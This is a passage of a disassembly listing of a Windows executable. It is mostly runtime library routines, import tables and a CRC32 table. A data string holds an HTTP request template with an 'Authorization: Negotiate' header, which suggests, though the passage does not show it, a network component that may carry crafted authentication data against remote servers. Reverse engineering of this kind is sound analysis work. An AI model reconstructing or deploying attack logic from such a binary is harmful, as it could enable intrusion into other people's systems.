sub_4228A0 endp ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_42298A+29p mov eax, offset loc_423146 call sub_418290 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_424CC0 call sub_422B1F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4228C0 endp ; =============== S U B R O U T I N E ======================================= sub_422908 proc near ; CODE XREF: sub_422972+7p ; sub_4229CE+7p ... mov eax, offset loc_423158 call sub_418290 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_422B5C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_424CA4 call sub_4228A0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_422908 endp ; =============== S U B R O U T I N E ======================================= sub_42294B proc near ; DATA XREF: ___:off_424CE0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_422967 test [esp+4+arg_0], 1 jz short loc_422961 push esi call sub_4182AF pop ecx loc_422961: ; CODE XREF: sub_42294B+Dj mov eax, esi pop esi retn 4 sub_42294B endp ; =============== S U B R O U T I N E ======================================= sub_422967 proc near ; CODE XREF: sub_42294B+3p ; DATA XREF: ___:004250D4o mov dword ptr [ecx], offset off_424CE0 jmp sub_4227AA sub_422967 endp ; =============== S U B R O U T I N E ======================================= sub_422972 proc near ; CODE XREF: sub_4229E6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CB4 mov eax, esi pop esi retn 4 sub_422972 endp ; =============== S U B R O U T I N E ======================================= sub_42298A proc near ; CODE XREF: sub_404464+15p ; sub_4044BD+15p ... mov eax, offset loc_42316A call sub_418290 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_422780 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4228C0 push offset dword_4250D0 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_424CE0 call sub_422BC9 int 3 ; Trap to Debugger sub_42298A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4229CE proc near ; CODE XREF: sub_4229E6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_422908 mov dword ptr [esi], offset off_424CE0 mov eax, esi pop esi retn 4 sub_4229CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4229E6 proc near ; DATA XREF: ___:00424CACo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422908 push offset dword_425110 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A04: ; DATA XREF: ___:00424CE8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4229CE push offset dword_4250D0 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger loc_422A22: ; DATA XREF: ___:00424CBCo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_422972 push offset dword_425028 lea eax, [ebp+var_1C] push eax call sub_422BC9 int 3 ; Trap to Debugger sub_4229E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A40 proc near nop jmp near ptr 71B2ACCBh sub_422A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep ; sub_4053D5+159p jmp near ptr 71AB1B7Bh sub_422A46 endp ; --------------------------------------------------------------------------- db 11h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422A4C proc near ; CODE XREF: sub_417EFC+23p ; sub_4181A0+13p nop jmp near ptr 2820000h sub_422A4C endp ; =============== S U B R O U T I N E ======================================= sub_422A52 proc near ; CODE XREF: sub_409392+E2p ; sub_409392+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4CDA48, 0 push ebx jnz short loc_422A98 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_422A64: ; CODE XREF: sub_422A52+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_422A76 cmp bx, 41h jb short loc_422A76 add ebx, 20h loc_422A76: ; CODE XREF: sub_422A52+19j ; sub_422A52+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_422A88 cmp ax, 41h jb short loc_422A88 add eax, 20h loc_422A88: ; CODE XREF: sub_422A52+2Bj ; sub_422A52+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_422AC8 cmp bx, ax jz short loc_422A64 jmp short loc_422AC8 ; --------------------------------------------------------------------------- loc_422A98: ; CODE XREF: sub_422A52+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_422AA2: ; CODE XREF: sub_422A52+72j mov ax, [esi] inc esi push eax inc esi call sub_422C03 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_422C03 pop ecx test bx, bx pop ecx jz short loc_422AC6 cmp bx, ax jz short loc_422AA2 loc_422AC6: ; CODE XREF: sub_422A52+6Dj pop edi pop esi loc_422AC8: ; CODE XREF: sub_422A52+3Dj ; sub_422A52+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_422A52 endp ; =============== S U B R O U T I N E ======================================= sub_422AD2 proc near ; CODE XREF: ___:00422AEAp mov dword ptr [ecx], offset off_424D00 mov ecx, [ecx+4] test ecx, ecx jz short locret_422AE6 push ecx call sub_417C3B pop ecx locret_422AE6: ; CODE XREF: sub_422AD2+Bj retn sub_422AD2 endp ; --------------------------------------------------------------------------- loc_422AE7: ; DATA XREF: ___:off_424D00o push esi mov esi, ecx call sub_422AD2 test byte ptr [esp+8], 1 jz short loc_422AFD push esi call sub_4182AF pop ecx loc_422AFD: ; CODE XREF: ___:00422AF4j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_422B03: ; DATA XREF: ___:off_424D08o push esi mov esi, ecx call sub_422BA6 test byte ptr [esp+8], 1 jz short loc_422B19 push esi call sub_4182AF pop ecx loc_422B19: ; CODE XREF: ___:00422B10j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_422B1F proc near ; CODE XREF: sub_4227EE+1Dp ; sub_4228C0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 push dword ptr [edi] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B4E push dword ptr [edi] push eax call sub_4179C0 pop ecx pop ecx loc_422B4E: ; CODE XREF: sub_422B1F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_422B1F endp ; =============== S U B R O U T I N E ======================================= sub_422B5C proc near ; CODE XREF: sub_422908+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_424D08 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_422B99 push dword ptr [edi+4] call sub_417AB0 inc eax push eax call sub_4185F5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_422B9F push dword ptr [edi+4] push eax call sub_4179C0 pop ecx pop ecx jmp short loc_422B9F ; --------------------------------------------------------------------------- loc_422B99: ; CODE XREF: sub_422B5C+16j mov eax, [edi+4] mov [esi+4], eax loc_422B9F: ; CODE XREF: sub_422B5C+2Ej ; sub_422B5C+3Bj mov eax, esi pop edi pop esi retn 4 sub_422B5C endp ; =============== S U B R O U T I N E ======================================= sub_422BA6 proc near ; CODE XREF: sub_4227AA+16j ; ___:00422B06p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_424D08 jz short locret_422BBB push dword ptr [ecx+4] call sub_4182AF pop ecx locret_422BBB: ; CODE XREF: sub_422BA6+Aj retn sub_422BA6 endp ; =============== S U B R O U T I N E ======================================= sub_422BBC proc near ; DATA XREF: ___:00424D0Co mov eax, [ecx+4] test eax, eax jnz short locret_422BC8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_422BC8: ; CODE XREF: sub_422BBC+5j retn sub_422BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422BC9 proc near ; CODE XREF: sub_422863+37p ; sub_42298A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_424D28 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 28904B1h pop edi pop esi leave retn 8 sub_422BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C03 proc near ; CODE XREF: sub_422A52+56p ; sub_422A52+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_422C15 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_422C15: ; CODE XREF: sub_422C03+Bj cmp dword_4CDA48, 0 jnz short loc_422C2F cmp ax, 41h jb short locret_422C76 cmp ax, 5Ah ja short locret_422C76 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_422C2F: ; CODE XREF: sub_422C03+19j cmp ax, 100h jnb short loc_422C49 push 1 push eax call sub_422EB1 pop ecx test eax, eax pop ecx jnz short loc_422C49 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_422C49: ; CODE XREF: sub_422C03+30j ; sub_422C03+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4CDA48 call sub_422C78 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_422C76 mov ax, [ebp+var_2] locret_422C76: ; CODE XREF: sub_422C03+1Fj ; sub_422C03+25j ... leave retn sub_422C03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422C78 proc near ; CODE XREF: sub_422C03+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D48 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4CDCA4, esi jnz short loc_422CEE push esi push esi push 1 pop ebx push ebx push offset dword_4248D8 mov edi, 100h push edi push esi nop call near ptr 28B0000h test eax, eax jz short loc_422CCC mov dword_4CDCA4, ebx jmp short loc_422CEE ; --------------------------------------------------------------------------- loc_422CCC: ; CODE XREF: sub_422C78+4Aj push esi push esi push ebx push offset dword_436EF4 push edi push esi call near ptr 28A0000h nop test eax, eax jz loc_422E6D mov dword_4CDCA4, 2 loc_422CEE: ; CODE XREF: sub_422C78+2Ej ; sub_422C78+52j cmp [ebp+arg_C], esi jle short loc_422D03 push [ebp+arg_C] push [ebp+arg_8] call sub_422E81 pop ecx pop ecx mov [ebp+arg_C], eax loc_422D03: ; CODE XREF: sub_422C78+79j mov eax, dword_4CDCA4 cmp eax, 1 jnz short loc_422D2A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28B0000h jmp loc_422E6F ; --------------------------------------------------------------------------- loc_422D2A: ; CODE XREF: sub_422C78+93j cmp eax, 2 jnz loc_422E6D cmp [ebp+arg_18], esi jnz short loc_422D40 mov eax, dword_4CDA58 mov [ebp+arg_18], eax loc_422D40: ; CODE XREF: sub_422C78+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27E0000h mov [ebp+var_20], eax cmp eax, esi jz loc_422E6D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_422D86 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_422D86: ; CODE XREF: sub_422C78+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 27E0000h test eax, eax jz loc_422E6D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_422E6D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422E09 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_422E09: ; CODE XREF: sub_422C78+17Dj cmp ebx, esi jz short loc_422E6D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 28A0000h test eax, eax jz short loc_422E6D test byte ptr [ebp+arg_4+1], 4 jz short loc_422E47 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_422E69 cmp eax, edi jl short loc_422E38 mov eax, edi loc_422E38: ; CODE XREF: sub_422C78+1BCj push eax push ebx push [ebp+arg_10] call sub_418C10 add esp, 0Ch jmp short loc_422E69 ; --------------------------------------------------------------------------- loc_422E47: ; CODE XREF: sub_422C78+1B1j cmp [ebp+arg_14], esi jnz short loc_422E50 push esi push esi jmp short loc_422E56 ; --------------------------------------------------------------------------- loc_422E50: ; CODE XREF: sub_422C78+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_422E56: ; CODE XREF: sub_422C78+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2640000h mov edi, eax cmp edi, esi jz short loc_422E6D loc_422E69: ; CODE XREF: sub_422C78+1B8j ; sub_422C78+1CDj mov eax, edi jmp short loc_422E6F ; --------------------------------------------------------------------------- loc_422E6D: ; CODE XREF: sub_422C78+66j ; sub_422C78+B5j ... xor eax, eax loc_422E6F: ; CODE XREF: sub_422C78+ADj ; sub_422C78+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422C78 endp ; =============== S U B R O U T I N E ======================================= sub_422E81 proc near ; CODE XREF: sub_422C78+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_422EA0 loc_422E91: ; CODE XREF: sub_422E81+1Dj cmp word ptr [eax], 0 jz short loc_422EA0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_422E91 loc_422EA0: ; CODE XREF: sub_422E81+Ej ; sub_422E81+14j cmp word ptr [eax], 0 pop esi jnz short loc_422EAE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_422EAE: ; CODE XREF: sub_422E81+24j mov eax, edx retn sub_422E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422EB1 proc near ; CODE XREF: sub_422C03+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_422EF1 cmp [ebp+arg_0], 100h jnb short loc_422ED5 movzx eax, [ebp+arg_0] mov ecx, off_433C74 mov ax, [ecx+eax*2] jmp short loc_422EF8 ; --------------------------------------------------------------------------- loc_422ED5: ; CODE XREF: sub_422EB1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_422F03 add esp, 18h test eax, eax jnz short loc_422EF5 loc_422EF1: ; CODE XREF: sub_422EB1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_422EF5: ; CODE XREF: sub_422EB1+3Ej mov eax, [ebp+var_4] loc_422EF8: ; CODE XREF: sub_422EB1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_422EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F03 proc near ; CODE XREF: sub_422EB1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_424D60 push offset sub_41F774 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4CDCA8 xor edi, edi cmp eax, edi jnz short loc_422F72 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_4248D8 push esi nop call near ptr 25F0000h test eax, eax jz short loc_422F50 mov eax, esi jmp short loc_422F6D ; --------------------------------------------------------------------------- loc_422F50: ; CODE XREF: sub_422F03+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_436EF4 push esi push edi nop call near ptr 2600000h test eax, eax jz loc_4230B4 push 2 pop eax loc_422F6D: ; CODE XREF: sub_422F03+4Bj mov dword_4CDCA8, eax loc_422F72: ; CODE XREF: sub_422F03+2Fj cmp eax, 1 jnz short loc_422F8E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp loc_4230B6 ; --------------------------------------------------------------------------- loc_422F8E: ; CODE XREF: sub_422F03+72j cmp eax, 2 jnz loc_4230B4 cmp [ebp+arg_10], edi jnz short loc_422FA4 mov eax, dword_4CDA58 mov [ebp+arg_10], eax loc_422FA4: ; CODE XREF: sub_422F03+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27E0000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4230B4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_417330 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_423002 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_423002: ; CODE XREF: sub_422F03+EAj cmp [ebp+var_2C], edi jz loc_4230B4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 27E0000h nop test eax, eax jz loc_4230B4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_417B30 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_423057 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_423057: ; CODE XREF: sub_422F03+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4230B4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42306B mov eax, dword_4CDA48 loc_42306B: ; CODE XREF: sub_422F03+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2600000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4230B4 cmp word ptr [esi], 0FFFFh jnz short loc_4230B4 push edi push ebx push [ebp+arg_C] call sub_4182C0 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4230B6 ; --------------------------------------------------------------------------- loc_4230B4: ; CODE XREF: sub_422F03+61j ; sub_422F03+8Ej ... xor eax, eax loc_4230B6: ; CODE XREF: sub_422F03+86j ; sub_422F03+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_422F03 endp ; =============== S U B R O U T I N E ======================================= sub_4230C8 proc near ; DATA XREF: ___:00424F14o ; FUNCTION CHUNK AT 0040445C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40445C sub_4230C8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4230E6 mov ecx, [ebp+8] jmp loc_40445C ; --------------------------------------------------------------------------- locret_4230E6: ; CODE XREF: ___:004230D8j retn ; --------------------------------------------------------------------------- loc_4230E7: ; DATA XREF: sub_404032o mov eax, offset dword_424EE8 jmp loc_417F4B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_4230FC: ; DATA XREF: ___:00424F44o lea ecx, [ebp-1Ch] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423104: ; DATA XREF: sub_4041D4o mov eax, offset dword_424F18 jmp loc_417F4B ; --------------------------------------------------------------------------- align 10h loc_423110: ; DATA XREF: sub_40473Fo mov eax, offset dword_424F48 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423122: ; DATA XREF: sub_4227EEo mov eax, offset dword_424FA8 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_423134: ; DATA XREF: sub_422863o mov eax, offset dword_425040 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423146: ; DATA XREF: sub_4228C0o mov eax, offset dword_425064 jmp loc_417F4B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_422BA6 ; --------------------------------------------------------------------------- loc_423158: ; DATA XREF: sub_422908o mov eax, offset dword_425088 jmp loc_417F4B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40445C ; --------------------------------------------------------------------------- loc_42316A: ; DATA XREF: sub_42298Ao mov eax, offset dword_4250E8 jmp loc_417F4B ; --------------------------------------------------------------------------- dd 3A3h dup(0) dd 25B0000h, 25B01C4h, 25C0000h, 25C0732h, 25D0000h, 25D0AD9h dd 25D0B72h, 25E0000h, 25E0086h, 25E05E4h, 25F0000h, 2600000h dd 260092Dh, 2610000h, 2610207h dword_42403C dd 2610238h ; DATA XREF: ___:0041F496r dd 26102E8h, 261051Fh, 2610549h, 261062Fh, 2610947h, 261095Eh dword_424058 dd 2610EF3h ; DATA XREF: sub_40144A+1A6r ; sub_401D82+3Dr ... dd 2620000h, 26202DBh dword_424064 dd 26207A4h ; DATA XREF: sub_40797F+D1r ; sub_40D3A5+29r dd 26207EAh, 2630000h dword_424070 dd 2640000h ; DATA XREF: sub_40DC82+Fr ; sub_4199B9+54r ... dword_424074 dd 2650000h ; DATA XREF: sub_4168E9+Br dword_424078 dd 265089Dh ; DATA XREF: ___:00404E30r ; sub_40AB7C+67r ... dd 2660000h, 2660831h dword_424084 dd 2670000h ; DATA XREF: sub_40AB7C+36r dd 2670201h dword_42408C dd 26702AAh ; DATA XREF: sub_4168E9:loc_41697Ar ; --------------------------------------------------------------------------- jmp near ptr byte_44A797 ; --------------------------------------------------------------------------- align 2 dw 268h dd 2690000h, 26A0000h dword_4240A0 dd 26A0AA3h ; DATA XREF: sub_4165C6+32r dd 26B0000h, 26B0392h, 26B0474h, 26C0000h, 26C04E8h, 26D0000h dword_4240BC dd 26E0000h ; DATA XREF: sub_408EE5+26r dd 26F0000h, 77F7E300h, 77F7E21Fh, 26F0B85h, 2700000h dd 2700780h dword_4240D8 dd 2710000h ; DATA XREF: sub_409037+BCr dword_4240DC dd 2710639h ; DATA XREF: sub_409037+60r ; sub_40981F+11r ... dword_4240E0 dd 2720000h ; DATA XREF: sub_40981F:loc_409D0Fr dd 2720363h dword_4240E8 dd 2730000h ; DATA XREF: sub_409209+21r ; sub_409392+4Ar dword_4240EC dd 2730B02h ; DATA XREF: sub_409209+10r ; sub_409392+40r ... dd 2730B50h dword_4240F4 dd 2730D5Ah ; DATA XREF: sub_409392+56r dd 2740000h, 274066Ch dword_424100 dd 2740B3Ch ; DATA XREF: sub_40981F+2r dd 2750000h, 2760000h, 27607FDh, 2770000h, 2770350h, 27708FEh dd 2780000h, 2780514h, 2790000h, 27910BBh, 279117Ch, 27A0000h dd 27A03E7h, 27A066Dh dword_42413C dd 27A0B7Bh ; DATA XREF: sub_40B56C+79r ; sub_416810+3Ar dword_424140 dd 27B0000h ; DATA XREF: sub_40B56C+3Br ; sub_416717+23r dd 27C0000h, 27D0000h, 77E75CB5h dword_424150 dd 27E0000h ; DATA XREF: sub_40DBB0+13r ; ___:0041F50Br ... dd 27F0000h, 27F0CC6h, 27F0D71h dword_424160 dd 2800000h ; DATA XREF: ___:loc_40E864r dd 28003DBh dword_424168 dd 28009ACh ; DATA XREF: sub_4165C6:loc_4166B2r dd 2800BA8h, 2800C91h, 2810000h, 28102BFh, 2810820h, 2810AC9h dd 2810BCAh, 2820000h, 2830000h, 2840000h, 2850000h, 2860000h dd 2861A69h, 2861A93h, 2870000h, 2880000h, 28801C7h dword_4241B0 dd 2880892h ; DATA XREF: sub_41ADB4+240r dword_4241B4 dd 2880A5Ch ; DATA XREF: sub_41B888:loc_41B8B9r dd 2890000h, 28904B1h, 28909B9h, 28A0000h, 28B0000h, 28B10F1h dd 28B19F6h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB41DAh, 71AB3F8Dh, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB8629h, 71AB2BBFh, 71AB12F8h, 71AB1836h dword_424204 dd 71AB5690h ; DATA XREF: sub_404F9A+6Ar dword_424208 dd 71AB1AF4h ; DATA XREF: sub_4053D5+E4r db 90h db 18h, 0ABh, 71h dd 71AB1B7Bh, 71AB3C22h, 71AB155Ah, 71AB3E5Dh, 71AB1A6Dh dd 71AB1746h, 2 dup(0) aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4041D4+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_424270 dq 1.388888888888889e-2 ; DATA XREF: sub_403FE6+2Fr dbl_424278 dq 1.666666666666667e-1 ; DATA XREF: sub_403FE6+15r dword_424280 dd 0FFFFFFFFh ; DATA XREF: sub_404032+16Fr ; sub_404464r ... align 8 dbl_424288 dq 1.333333333333333 ; DATA XREF: sub_404032+79r dword_424290 dd 0 ; DATA XREF: sub_4041D4+4Do ; sub_404514+5Bo ... flt_424294 dd 5.0e-1 ; DATA XREF: ___:00404CE7r dword_424298 dd 0 ; DATA XREF: sub_40C21E+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 